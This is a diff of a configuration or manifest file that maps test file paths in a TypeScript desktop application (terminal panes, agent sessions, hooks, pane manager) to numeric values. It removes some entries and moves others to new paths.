       "src/renderer/src/components/terminal-pane/pty-connection/output/terminal-input-echo-delay.test.ts": 132,
       "src/renderer/src/components/terminal-pane/pty-connection/host-ownership/unserved-ssh-pane-bridge.test.ts": 70,
@@ -5845,66 +5785,45 @@
       "src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-reattach-admission.test.ts": 1636,
       "src/renderer/src/components/terminal-pane/pty-transport/ipc/pty-transport-recycled-pty-incarnation.test.ts": 787,
       "src/renderer/src/components/terminal-pane/input/focus/regular-terminal-focus-ownership.test.ts": 208,
-      "src/renderer/src/components/terminal-pane/pty-connection/output-restore/remote-hidden-output-restore-outcomes.test.ts": 2794,
       "src/renderer/src/components/terminal-pane/pty-connection/output-restore/remote-hidden-output-restore-unavailable-banner.repro.test.ts": 2355,
       "src/renderer/src/components/terminal-pane/layout/persistence/remote-pane-layout-push.test.ts": 77,
       "src/renderer/src/components/terminal-pane/pty-connection/output-restore/remote-park-reveal-unverifiable-retry.test.ts": 1546,
-      "src/renderer/src/components/terminal-pane/pty-connection/geometry/remote-reconnect-unimaged-pane-redraw.test.ts": 3122,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-connect-failure-recovery.test.ts": 989,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-disconnected-input-grace-retry.test.ts": 1366,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/input/remote-runtime-input-journal.test.ts": 69,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-outage-toast-flood-and-stuck-reconnect.test.ts": 1269,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/output/remote-runtime-pty-batching.test.ts": 108,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-deadline-reattach.test.ts": 2117,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-latched-pane-retention.test.ts": 5267,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-query-reply-immediate.test.ts": 1556,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/recovery/remote-runtime-pty-recovery-state.test.ts": 85,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts": 1311,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts": 14353,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-outcome-recovery.test.ts": 2041,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-empty-initial-snapshot.test.ts": 1491,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-end-verdict.test.ts": 942,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-expired-pane-recovery.test.ts": 1763,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-healthy-link-reattach.test.ts": 1595,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-exit-record.test.ts": 4078,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts": 2248,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-surface-replacement.test.ts": 4276,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-coalescing.test.ts": 2777,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-fallback.test.ts": 1643,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-input-replay.test.ts": 7130,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-mirror-resolve-overlap.test.ts": 977,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pairing-rotation.test.ts": 2480,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pane-binding-ownership.test.ts": 4578,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pane-handle-resolution.test.ts": 2860,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-pending-host-surface-attach.test.ts": 1768,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-prebind-discard-notice.test.ts": 889,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-reattach-type-ahead.test.ts": 3894,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-reveal-round-trips.test.ts": 1023,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-snapshot-replay.test.ts": 1717,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-spawn-intent.test.ts": 2215,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-split-leaf-activation.test.ts": 2034,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stale-handle-recovery.test.ts": 1882,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-sticky-replacement-policy.test.ts": 1801,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stopped-host-reopen.test.ts": 1083,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-stream-reconnect.test.ts": 4148,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-subscribe-ack-input.test.ts": 2565,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unmounted-host-pane.test.ts": 626,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts": 1435,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-web-mirror-recovery.test.ts": 1905,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/input/remote-runtime-recovery-input-hold.test.ts": 342,
-      "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-resubscribe-failure-recovery-routing.test.ts": 1896,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-saved-result-consumer.test.ts": 3650,
       "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-ssh-sign-in-recovery.test.ts": 6038,
       "src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-host-chain.test.ts": 31916,
       "src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-alt-screen-replay.test.ts": 3010,
       "src/renderer/src/components/terminal-pane/snapshots/remote-snapshot-history-seam.test.ts": 2093,
-      "src/renderer/src/components/terminal-pane/snapshots/replay-guard.test.ts": 371,
       "src/renderer/src/components/terminal-pane/layout/split/resolve-split-cwd.test.ts": 56,
       "src/renderer/src/components/terminal-pane/viewport/split-right-white-screen.test.ts": 53,
       "src/renderer/src/components/terminal-pane/viewport/visibility/stale-document-visibility.test.ts": 88,
       "src/renderer/src/components/terminal-pane/input/paste/terminal-agent-paste-bracketing.test.ts": 329,
-      "src/renderer/src/components/terminal-pane/session-fork/terminal-agent-session-fork.test.ts": 1377,
-      "src/renderer/src/components/terminal-pane/appearance/terminal-appearance.test.ts": 339,
       "src/renderer/src/components/terminal-pane/input/paste/terminal-bracketed-paste.test.ts": 57,
       "src/renderer/src/components/terminal-pane/emulation/terminal-capability-replies.test.ts": 131,
       "src/renderer/src/components/terminal-pane/clipboard/terminal-clipboard-paste.test.ts": 76,
@@ -5933,9 +5852,7 @@
       "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-composition-deduplication.test.ts": 1643,
       "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-consumed-key-commit.test.ts": 751,
       "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-korean-enter-commit-order.test.ts": 328,
-      "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-midline-preedit-tail.test.ts": 980,
       "src/renderer/src/components/terminal-pane/input/ime/terminal-ime-xterm-resumed-preedit-visibility.test.ts": 498,
-      "src/renderer/src/components/terminal-pane/emulation/terminal-inline-image-da1.test.ts": 127,
       "src/renderer/src/components/terminal-pane/input/ime/terminal-ios-hangul-preedit-coexistence.test.ts": 621,
       "src/renderer/src/components/terminal-pane/input/ime/terminal-ios-hangul-preedit-device-trace.test.ts": 415,
       "src/renderer/src/components/terminal-pane/input/ime/terminal-ios-hangul-preedit.test.ts": 818,
@@ -5960,13 +5877,11 @@
       "src/renderer/src/components/terminal-pane/layout/reconciliation/terminal-pane-frame-reconciliation.test.ts": 903,
       "src/renderer/src/components/terminal-pane/host-state/terminal-pane-host-state-memo.test.ts": 4534,
       "src/renderer/src/components/terminal-pane/mounting/terminal-pane-mount-bootstrap.test.ts": 1723,
-      "src/renderer/src/components/terminal-pane/render-health/recovery/terminal-pane-recovery.test.ts": 949,
       "src/renderer/src/components/terminal-pane/layout/split/terminal-pane-split-request-routing.test.ts": 2015,
       "src/renderer/src/components/terminal-pane/layout/detach/terminal-pane-tab-detach-main-commit.test.ts": 2090,
       "src/renderer/src/components/terminal-pane/layout/detach/terminal-pane-tab-detach-main-move.test.ts": 2147,
       "src/renderer/src/components/terminal-pane/parking/verdict/terminal-park-verdict-flip-telemetry.test.ts": 123,
       "src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts": 473,
-      "src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-reconciliation.test.ts": 243,
       "src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-registry.test.ts": 245,
       "src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-sleep-preserved-exit.test.ts": 399,
       "src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-watcher-sole-newborn-exit.test.ts": 402,
@@ -5974,25 +5889,17 @@
       "src/renderer/src/components/terminal-pane/input/paste/terminal-paste-coordinator.test.ts": 155,
       "src/renderer/src/components/terminal-pane/links/files/terminal-path-existence-batch.test.ts": 58,
       "src/renderer/src/components/terminal-pane/links/files/terminal-path-exists-cache.test.ts": 47,
-      "src/renderer/src/components/terminal-pane/render-health/terminal-render-desync-sentinel.test.ts": 468,
       "src/renderer/src/components/terminal-pane/snapshots/terminal-replay-application-continuity.test.ts": 372,
       "src/renderer/src/components/terminal-pane/snapshots/terminal-restore-sgr-latch.test.ts": 175,
       "src/shared/terminal/viewport/terminal-restored-viewport.test.ts": 46,
       "src/renderer/src/components/terminal-pane/terminal-resume-escape-gap.test.ts": 102,
-      "src/renderer/src/components/terminal-pane/snapshots/terminal-shutdown-layout-capture.test.ts": 197,
       "src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts": 80,
       "src/renderer/src/components/terminal-pane/snapshots/terminal-snapshot-replay-paint.test.ts": 499,
       "src/renderer/src/components/terminal-pane/titles/terminal-title-evidence.test.ts": 184,
       "src/renderer/src/components/terminal-pane/links/http/terminal-url-link-click.test.ts": 2057,
-      "src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.test.ts": 1669,
       "src/renderer/src/components/terminal-pane/links/files/terminal-worktree-path-link.test.ts": 1878,
-      "src/renderer/src/components/terminal-pane/mobile-driver/use-mobile-overlay-ticks-desktop-fit.test.tsx": 371,
-      "src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-visibility-resume.test.ts": 1951,
-      "src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-window-focus-recovery.test.ts": 1836,
       "src/renderer/src/components/terminal-pane/use-terminal-pane-lifecycle.test.ts": 1806,
-      "src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-scroll-visibility-memory.test.ts": 79,
       "src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts": 752,
-      "src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-window-wake-recovery.test.ts": 494,
       "src/renderer/src/components/terminal-pane/links/http/wrapped-terminal-http-link-limits.test.ts": 108,
       "src/renderer/src/components/terminal-pane/links/http/wrapped-terminal-http-link-provider.test.ts": 606,
       "src/renderer/src/components/terminal-parked-watcher-sync-entries.test.tsx": 1104,
@@ -6006,7 +5913,6 @@
       "src/renderer/src/components/terminal/active-terminal-repair-loop.react185.test.tsx": 1998,
       "src/renderer/src/components/terminal/background-terminal-worktree-mount.test.ts": 1707,
       "src/renderer/src/components/terminal/background-terminal-worktree-visibility.test.ts": 1790,
-      "src/renderer/src/components/terminal/initial-terminal-admission-wait.test.tsx": 2444,
       "src/renderer/src/components/terminal/initial-terminal-structured-launch.test.tsx": 786,
       "src/renderer/src/components/terminal/running-terminal-close-guard.test.ts": 99,
       "src/renderer/src/components/terminal/startup-terminal-tab-hold.test.ts": 2118,
@@ -6030,8 +5936,6 @@
       "src/renderer/src/components/use-quick-open-interaction.test.tsx": 1987,
       "src/renderer/src/components/use-task-creation-draft-retention.test.ts": 3185,
       "src/renderer/src/components/use-terminal-bulk-close-actions.frame-flush.test.tsx": 2300,
-      "src/renderer/src/components/use-terminal-create-actions.test.tsx": 302,
-      "src/renderer/src/components/use-terminal-editor-close-foundation.window-close.test.tsx": 2105,
       "src/renderer/src/components/use-terminal-parking-pass.test.tsx": 2142,
       "src/renderer/src/components/use-terminal-window-lifecycle.frame-flush.test.tsx": 2164,
       "src/renderer/src/components/virtualized-list.test.tsx": 446,
@@ -6053,16 +5957,13 @@
       "src/renderer/src/components/workspace-emoji/WorkspaceEmojiPickerPanel.test.tsx": 763,
       "src/renderer/src/components/workspace-emoji/useWorkspaceEmojiShortcodeInput.test.tsx": 365,
       "src/renderer/src/components/worktree-creation/PendingNativeChatCreation.test.tsx": 4075,
-      "src/renderer/src/components/worktree-jump/WorktreeJumpPalette.linear-url.test.tsx": 3372,
       "src/renderer/src/components/worktree-jump/WorktreeJumpPalette.recent-tabs.behavior.test.tsx": 4445,
-      "src/renderer/src/components/worktree-jump/WorktreeJumpPalette.recent-tabs.test.tsx": 9384,
       "src/renderer/src/components/worktree-jump/WorktreeJumpPalette.test.tsx": 4442,
       "src/renderer/src/components/worktree-jump/use-worktree-jump-palette-browser-ownership.test.ts": 2096,
       "src/renderer/src/components/worktree-jump/use-worktree-jump-palette-task-search.test.tsx": 2140,
       "src/renderer/src/components/worktree-jump/worktree-jump-palette-browser-navigation.test.tsx": 4470,
       "src/renderer/src/components/wsl-host-stopped/WslHostStoppedNotice.test.tsx": 491,
       "src/renderer/src/components/wsl-move/WslMoveDialog.test.tsx": 524,
-      "src/renderer/src/components/wsl-move/use-wsl-move-quit-guard.test.ts": 235,
       "src/renderer/src/components/wsl-move/wsl-move-dialog-store.test.ts": 2011,
       "src/renderer/src/components/wsl-move/wsl-move-orchestrator-status.test.tsx": 567,
       "src/renderer/src/components/wsl-move/wsl-move-scope-rows.test.ts": 156,
@@ -6086,7 +5987,6 @@
       "src/renderer/src/hooks/editor-external-watch-overflow.test.ts": 1023,
       "src/renderer/src/hooks/editor-external-watch-selected-host.test.ts": 1988,
       "src/renderer/src/hooks/editor-runtime-file-watch.test.ts": 58,
-
       "src/renderer/src/hooks/ipc-events/agent-status-pane-routing-index-retention.test.ts": 4878,
       "src/renderer/src/hooks/ipc-events/agent-status-pending-retry-gate.test.ts": 466,
       "src/renderer/src/hooks/ipc-events/agent-status-terminal-title-tab-write.test.ts": 2247,
@@ -6123,7 +6023,6 @@
       "src/renderer/src/hooks/runtime-project-refresh-scheduler.test.ts": 65,
       "src/renderer/src/hooks/shortcut-label-cache.test.tsx": 2021,
       "src/renderer/src/hooks/unpaired-device-auth-notification.test.ts": 41,
-
       "src/renderer/src/hooks/use-document-dark-theme.test.tsx": 350,
       "src/renderer/src/hooks/use-list-multi-selection.test.tsx": 545,
       "src/renderer/src/hooks/use-monaco-theme.test.tsx": 323,
@@ -6153,15 +6052,11 @@
       "src/renderer/src/hooks/useIpcEvents-agent-status-connection-attribution.test.ts": 5510,
       "src/renderer/src/hooks/useIpcEvents-agent-status-pane-teardown.test.ts": 5268,
       "src/renderer/src/hooks/useIpcEvents-agent-status-queue-ordering.test.ts": 3680,
-      "src/renderer/src/hooks/useIpcEvents-agent-status-snapshot-hydration.test.ts": 7403,
       "src/renderer/src/hooks/useIpcEvents-agent-status-snapshot-replay.test.ts": 4119,
       "src/renderer/src/hooks/useIpcEvents-agent-status-ssh-authority.test.ts": 3310,
       "src/renderer/src/hooks/useIpcEvents-browser-certificate-failure.test.ts": 2981,
       "src/renderer/src/hooks/useIpcEvents-browser-navigation.test.ts": 1511,
-      "src/renderer/src/hooks/useIpcEvents-client-hosted-browser-rows.test.ts": 1894,
-      "src/renderer/src/hooks/useIpcEvents-close-routing-active-browser-tab.test.ts": 4572,
       "src/renderer/src/hooks/useIpcEvents-close-routing-session-tabs.test.ts": 5812,
-      "src/renderer/src/hooks/useIpcEvents-cmd-j-digit-chord.test.ts": 2703,
       "src/renderer/src/hooks/useIpcEvents-lifecycle.test.ts": 2326,
       "src/renderer/src/hooks/useIpcEvents-new-workspace-shortcut.test.ts": 72,
       "src/renderer/src/hooks/useIpcEvents-runtime-environment-selectors.test.ts": 530,
@@ -6178,8 +6073,6 @@
       "src/renderer/src/hooks/useReadOnScreenAttention.mixed-workspace.test.ts": 1725,
       "src/renderer/src/hooks/useReadOnScreenAttention.test.ts": 1915,
       "src/renderer/src/hooks/useRetiredWorktreeNames.test.ts": 593,
-
-      "src/renderer/src/hooks/useUnreadDockBadge.test.ts": 2126,
       "src/renderer/src/hooks/virtualized-hidden-row-measurement.test.ts": 199,
       "src/renderer/src/hooks/worktree-change-refresh-queue.test.ts": 59,
       "src/renderer/src/i18n/I18nProvider.test.tsx": 2101,
@@ -6189,22 +6082,18 @@
       "src/renderer/src/i18n/plugin-pack-plurals.test.ts": 191,
       "src/renderer/src/i18n/relative-time-format.test.ts": 53,
       "src/renderer/src/i18n/ui-intl-formatters.test.ts": 208,
-      "src/renderer/src/lib/activate-ai-vault-structured-session-host.test.ts": 589,
-      "src/renderer/src/lib/activate-ai-vault-structured-session-reveal.test.ts": 2099,
       "src/renderer/src/lib/workspace/tabs/activate-tab-and-focus-pane.test.ts": 54,
       "src/renderer/src/lib/agent-session/messaging/terminal/active-agent-note-send-explicit-target.test.ts": 980,
       "src/renderer/src/lib/agent-session/messaging/terminal/active-agent-note-send-focused-session.test.ts": 536,
-      "src/renderer/src/lib/activity-thread-display.test.ts": 134,
+      "src/renderer/src/lib/workspace/activity/activity-thread-display.test.ts": 134,
       "src/renderer/src/lib/agent-account-restart-startup.test.ts": 1780,
       "src/renderer/src/lib/agent-session/launch/background/agent-background-session-launch-host.test.ts": 1910,
       "src/renderer/src/lib/agent-draft-readiness.test.ts": 245,
-      "src/renderer/src/lib/agent-session/hibernation/agent-hibernation-coordinator.test.ts": 1880,
       "src/renderer/src/lib/agent-session/hibernation/agent-hibernation-pane-age.test.ts": 41,
       "src/renderer/src/lib/agent-session/hibernation/agent-hibernation-planner.test.ts": 341,
       "src/renderer/src/lib/agent-session/hibernation/agent-hibernation-runtime-liveness-race.test.ts": 1914,
       "src/renderer/src/lib/agent-session/launch/pane/agent-launch-pane-verdict-application.test.ts": 1869,
       "src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-input.test.ts": 1659,
-      "src/renderer/src/lib/agent-session/launch/routing/agent-launch-route-registered-agents.test.ts": 1749,
       "src/renderer/src/lib/agent-session/launch/pane/agent-launch-tab-main-written.test.ts": 2084,
       "src/renderer/src/lib/agent-session/launch/pane/agent-launch-tab-publication.test.ts": 1855,
       "src/renderer/src/lib/agent-session/launch/pane/agent-launch-through-host.test.ts": 1975,
@@ -6213,23 +6102,13 @@
       "src/renderer/src/lib/agent-session/messaging/paste/agent-paste-draft.test.ts": 445,
       "src/renderer/src/lib/agent-session/resume/agent-resume-launch-target.test.ts": 3911,
       "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-after-failure.test.ts": 870,
-      "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-close-race.test.ts": 983,
-      "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.test.ts": 2521,
-      "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-different-request.test.ts": 885,
       "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-exited-owner.test.ts": 1289,
       "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-join-delivery.test.ts": 862,
       "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-options.test.ts": 991,
       "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-persistence.test.ts": 386,
       "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-probe-outage.test.ts": 1891,
-      "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-prompt.test.ts": 710,
       "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-record.test.ts": 151,
       "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-resume-identity.test.ts": 828,
-      "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-unconfirmed-or-retried.test.ts": 1085,
-      "src/renderer/src/lib/agent-session/launch/structured-agent-session-launch.test.ts": 977,
-      "src/renderer/src/lib/agent-session/launch/structured-agent-session-new-chat-own-launch.test.ts": 2177,
-      "src/renderer/src/lib/agent-session/structured-agent-session-draft-position-lifetime.test.tsx": 3166,
-      "src/renderer/src/lib/agent-session/structured-agent-session-ordinary-draft.test.tsx": 9907,
-      "src/renderer/src/lib/agent-session/structured-agent-session-provisional-tab.test.ts": 3672,
       "src/renderer/src/lib/agent-session/launch/startup/agent-startup-delayed-delivery-perf.test.ts": 1708,
       "src/shared/agent-status/contracts/agent-status-evidence-clock.test.ts": 88,
       "src/shared/agent-status/title/agent-title-tracker.test.ts": 172,
@@ -6250,7 +6129,6 @@
       "src/renderer/src/lib/bounded-generation-map.test.ts": 35,
       "src/renderer/src/lib/browser/history/browser-history-match.test.ts": 328,
       "src/renderer/src/lib/browser/navigation/browser-link-destination.test.ts": 1839,
-      "src/renderer/src/lib/browser/navigation/browser-link-open-layout-owner.test.ts": 3133,
       "src/renderer/src/lib/browser/navigation/browser-link-open.test.ts": 2215,
       "src/renderer/src/lib/browser/navigation/browser-link-profile-isolation.test.ts": 2511,
       "src/renderer/src/lib/browser/palette/browser-page-palette-activation.test.ts": 1983,
@@ -6261,37 +6139,28 @@
       "src/renderer/src/lib/claude-account-switch-sessions.test.ts": 782,
       "src/renderer/src/lib/claude-session-account-move.test.ts": 1816,
       "src/renderer/src/lib/clipboard/images/clipboard-image-copy.test.ts": 243,
-      "src/renderer/src/lib/cmd-j-host-qualified-candidate-ownership.test.ts": 526,
-      "src/renderer/src/lib/cmd-j-linear-issue-intent.test.ts": 42,
+      "src/renderer/src/lib/workspace/search/palette/cmd-j-host-qualified-candidate-ownership.test.ts": 526,
       "src/renderer/src/lib/code-host-error-copy.test.ts": 297,
-      "src/renderer/src/lib/codex-pane-selection-lane.test.ts": 543,
+      "src/renderer/src/lib/agent-session/accounts/codex-pane-selection-lane.test.ts": 543,
       "src/renderer/src/lib/agent-session/accounts/codex/codex-session-restart-shell-flap.test.ts": 1745,
       "src/renderer/src/lib/agent-session/accounts/codex/codex-session-restart.test.ts": 2039,
-      "src/renderer/src/lib/codex-stale-pane-account-identity.test.ts": 1823,
-      "src/renderer/src/lib/codex-stale-pane-sweep.test.ts": 1817,
+      "src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-account-identity.test.ts": 1823,
+      "src/renderer/src/lib/agent-session/accounts/codex/codex-stale-pane-sweep.test.ts": 1817,
       "src/renderer/src/lib/source-control/review/comments/comment-body-submit-state.test.ts": 55,
       "src/renderer/src/lib/composer-submit-cancellation.test.ts": 41,
       "src/renderer/src/lib/workspace/ownership/connection-context.test.ts": 1817,
       "src/renderer/src/lib/create-untitled-markdown.test.ts": 566,
-      "src/renderer/src/lib/desktop-created-server-tabs.test.ts": 1933,
       "src/renderer/src/lib/workspace/ownership/direct-ssh-target-scope.test.ts": 48,
-      "src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup-callers.test.tsx": 2436,
       "src/renderer/src/lib/workspace/creation/work-item/direct-work-item-setup.test.ts": 2072,
       "src/renderer/src/lib/browser/documents/doc-preview-grants.test.ts": 2094,
       "src/renderer/src/lib/editor/file-operations/editor-file-operation-owner.test.ts": 2848,
       "src/renderer/src/lib/emulator-error-copy.test.ts": 415,
       "src/renderer/src/runtime/repo-hooks/ensure-hooks-confirmed.test.ts": 799,
-      "src/renderer/src/lib/simulator/tabs/ensure-simulator-tab-behavior.test.ts": 3601,
       "src/renderer/src/runtime/hosts/platform/execution-host-facts.test.ts": 1796,
       "src/renderer/src/components/sidebar/sidebar-feedback/feedback-image-attachments.test.ts": 557,
-      "src/renderer/src/lib/files/search/file-search-selection.test.ts": 51,
-      "src/renderer/src/lib/finished-agent-resume-resurrection.test.ts": 1872,
+      "src/renderer/src/lib/agent-session/resume/finished-agent-resume-resurrection.test.ts": 1872,
       "src/renderer/src/components/terminal-pane/parking/retention/foreground-terminal-tabs.test.ts": 55,
       "src/renderer/src/lib/work-items/github/github-source-runtime-context.test.ts": 62,
-      "src/renderer/src/lib/host-mirror-handle-gap-drain.test.ts": 1706,
-      "src/renderer/src/lib/host-mirror-handle-gap-resume.test.ts": 1811,
-      "src/renderer/src/lib/host-mirrored-pane-resume-replay.test.ts": 1814,
-      "src/renderer/src/lib/browser/navigation/http-link-completion.test.ts": 1760,
       "src/renderer/src/lib/browser/navigation/http-link-routing-store.test.ts": 2211,
       "src/renderer/src/lib/text-input/ime/ime-composition-keyboard-event.test.ts": 274,
       "src/renderer/src/lib/text-input/ime/ime-text-field.test.tsx": 739,
@@ -6305,14 +6174,12 @@
       "src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-new-tab-host-route-readiness.test.ts": 489,
       "src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-picker-contract.test.ts": 3592,
       "src/renderer/src/lib/agent-session/launch/continuation/launch-agent-session-continuation-toast.test.tsx": 2347,
-      "src/renderer/src/lib/launch-cancel-tombstones-compat/structured-agent-session-launch-cancellation.test.ts": 2266,
       "src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-accepted.test.tsx": 2754,
       "src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-defaults.test.ts": 1594,
       "src/renderer/src/lib/workspace/creation/work-item/launch-work-item-direct-setup.test.tsx": 3435,
       "src/renderer/src/app-shell/startup/lazy-with-retry.never-landed-reload.test.ts": 194,
       "src/renderer/src/lib/work-items/linear/linear-board-drag-payload.test.ts": 58,
       "src/renderer/src/lib/work-items/linear/linear-issue-workspace-attachment.test.ts": 99,
-      "src/renderer/src/lib/link-source-local-open-owner.test.ts": 433,
       "src/renderer/src/lib/work-items/linked-work-item-context.test.ts": 64,
       "src/renderer/src/lib/editor/monaco/monaco-editor-gutter-disposal.test.ts": 295,
       "src/renderer/src/lib/monaco-languages/markdown-heading-outline.test.ts": 70,
@@ -6329,80 +6196,34 @@
       "src/renderer/src/lib/monaco-languages/textmate-token-provider.test.ts": 245,
       "src/renderer/src/lib/monaco-languages/zig-highlighting.test.ts": 7984,
       "src/renderer/src/lib/agent-session/resume/cli-fork/native-chat-cli-fork-preparation.test.ts": 2773,
-      "src/renderer/src/lib/open-agent-message-sender.test.ts": 1497,
       "src/renderer/src/lib/simulator/launch/open-mobile-emulator-tab.test.ts": 545,
-      "src/renderer/src/lib/order-empty-query-worktrees.test.ts": 62,
       "src/renderer/src/lib/files/drop/os-file-drop-cancellation-guard.test.ts": 204,
-      "src/renderer/src/lib/paired-runtime-closed-tab-resume.test.ts": 2008,
+      "src/renderer/src/lib/agent-session/resume/paired-runtime-closed-tab-resume.test.ts": 2008,
       "src/renderer/src/lib/pane-manager/pane-close-focus-successor.test.ts": 1123,
-      "src/renderer/src/lib/pane-manager/pane-container-listener-lifecycle.test.ts": 312,
-      "src/renderer/src/lib/pane-manager/pane-cursor-blink-suspension.test.ts": 429,
       "src/renderer/src/lib/pane-manager/pane-drag-window-blur.test.ts": 618,
-      "src/renderer/src/lib/pane-manager/pane-fit-resize-observer.test.ts": 94,
-      "src/renderer/src/lib/pane-manager/pane-inline-image-recovery.test.ts": 61,
-      "src/renderer/src/lib/pane-manager/pane-inline-images.test.ts": 74,
       "src/renderer/src/lib/pane-manager/pane-layout-geometry-apply.test.ts": 897,
       "src/renderer/src/lib/pane-manager/pane-manager-registry.test.ts": 69,
       "src/renderer/src/lib/pane-manager/pane-manager-spawn-placement.test.ts": 766,
-      "src/renderer/src/lib/pane-manager/pane-scroll.test.ts": 153,
-      "src/renderer/src/lib/pane-manager/pane-terminal-foreground-render-settle.test.ts": 43,
-      "src/renderer/src/lib/pane-manager/pane-terminal-mouse-wheel.test.ts": 88,
-      "src/renderer/src/lib/pane-manager/pane-terminal-output-queue-chunks.test.ts": 44,
-      "src/renderer/src/lib/pane-manager/pane-tree-equalization-parity.test.ts": 182,
-      "src/renderer/src/lib/pane-manager/pane-tree-equalization-scaling.test.ts": 239,
+      "src/renderer/src/lib/pane-manager/terminal-output/pane-terminal-output-queue-chunks.test.ts": 44,
       "src/renderer/src/lib/pane-manager/pane-tree-match-moves.test.ts": 662,
